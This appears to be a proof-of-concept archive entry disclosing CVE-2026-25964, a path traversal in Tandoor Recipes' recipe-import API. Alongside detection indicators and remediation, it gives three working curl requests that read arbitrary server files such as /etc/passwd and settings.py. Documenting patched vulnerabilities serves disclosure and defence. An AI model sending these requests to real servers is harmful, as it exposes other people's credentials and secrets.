PoC Archive PoC Archive
Medium CVE-2026-25964 (GHSA-6485-jr28-52xx) patched

Tandoor Recipes Authenticated Local File Disclosure via Recipe Import (CVE-2026-25964)

by drkim-dev · 2026-07-05

CVSS 4.9/10
Severity
Medium
CVE
CVE-2026-25964 (GHSA-6485-jr28-52xx)
Category
web
Affected product
Tandoor Recipes (self-hosted recipe manager, Django-based)
Affected versions
<= 2.5.0 (fixed in 2.5.1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / Researcherdrkim-dev
CVE / AdvisoryCVE-2026-25964 (GHSA-6485-jr28-52xx)
Categoryweb
SeverityMedium
CVSS Score4.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
StatusPoC
Tagspath-traversal, local-file-disclosure, tandoor-recipes, django, rest-api, authenticated, cwe-22, arbitrary-file-read
RelatedN/A

Affected Target

FieldValue
Software / SystemTandoor Recipes (self-hosted recipe manager, Django-based)
Versions Affected<= 2.5.0 (fixed in 2.5.1)
Language / PlatformDocumented via curl / HTTP requests against the Django REST API
Authentication RequiredYes (any account with recipe-import permission)
Network Access RequiredYes

Summary

CVE-2026-25964 is a path traversal / arbitrary file read vulnerability in Tandoor Recipes’ recipe-import workflow. The /api/recipe-import/ endpoint lets an authenticated user set an arbitrary file_path and storage backend on a RecipeImport object without validating that the path stays inside the configured storage root. The Local.get_file() provider (cookbook/provider/local.py) then opens that path directly via open(recipe.file_path, 'rb'), with no containment check. Once the import is converted into a real Recipe, a follow-up request to /api/get_recipe_file/<id>/ streams back the contents of whatever file was referenced — including absolute paths like /etc/passwd or the application’s own settings.py. The repository is essentially a documented, curl-driven reproduction rather than a packaged script.


Vulnerability Details

Root Cause

Local.get_file() trusts the file_path value stored on the Recipe/RecipeImport object and opens it directly with no validation that the resolved path is contained within the intended storage directory, allowing both absolute paths and ../ traversal sequences.

Attack Vector

  1. Authenticate as any user with recipe-import permission (in some deployments this may be broader than intended).
  2. POST to /api/recipe-import/ with a JSON body pointing file_path at a target file (e.g. /etc/passwd) and storage: 1 (Local storage backend).
  3. POST to /api/recipe-import/<import_id>/import_recipe/ to convert the import object into a persistent Recipe, obtaining a recipe_id.
  4. GET /api/get_recipe_file/<recipe_id>/ to retrieve the raw contents of the referenced file.

Impact

Arbitrary file read as the application user, enabling disclosure of /etc/passwd, application settings.py (exposing SECRET_KEY and database credentials), .env files, and other sensitive configuration or source code.


Environment / Lab Setup

Target:   Tandoor Recipes <= 2.5.0
Attacker: curl (or any HTTP client) with a valid authenticated session/CSRF token

Proof of Concept

PoC Script

See test.sh in this folder. Note: this file is a placeholder stub from the upstream repository (it only contains the literal text “test”) — there is no functional automated exploit script shipped upstream. The actual reproduction steps are the three curl requests documented below and in the original repository’s README.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
  -b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
  -H "X-CSRFToken: <CSRF_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"name": "Admin_LFD_Final", "file_path": "/etc/passwd", "storage": 1, "space": 1}'

curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
  -b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
  -H "X-CSRFToken: <CSRF_TOKEN>" -H "Content-Length: 0"

curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
  -b "sessionid=<SESSION_ID>"

Running the three requests in sequence creates an import object referencing an arbitrary path, promotes it to a recipe, and then streams the target file’s contents back to the attacker in the response body.


Detection & Indicators of Compromise

Signs of compromise:

  • RecipeImport/Recipe records with file_path values pointing outside the configured storage directory
  • Application logs showing recipe-file downloads containing plaintext system or config file content
  • Unexpected access to settings.py, .env, or /etc/passwd through recipe file endpoints

Remediation

ActionDetail
Primary fixUpgrade to Tandoor Recipes 2.5.1 or later
Interim mitigationRestrict recipe-import permission to trusted administrators only; validate/normalize file_path against the configured storage root before allowing reads

References


Notes

Mirrored from https://github.com/drkim-dev/CVE-2026-25964 on 2026-07-05. The repository is documentation-style: the README fully describes the vulnerability and a working curl-based reproduction, but the accompanying test.sh file is a non-functional one-line stub, not a real exploit script. Status is marked PoC rather than Weaponized to reflect this.

test.sh
1
test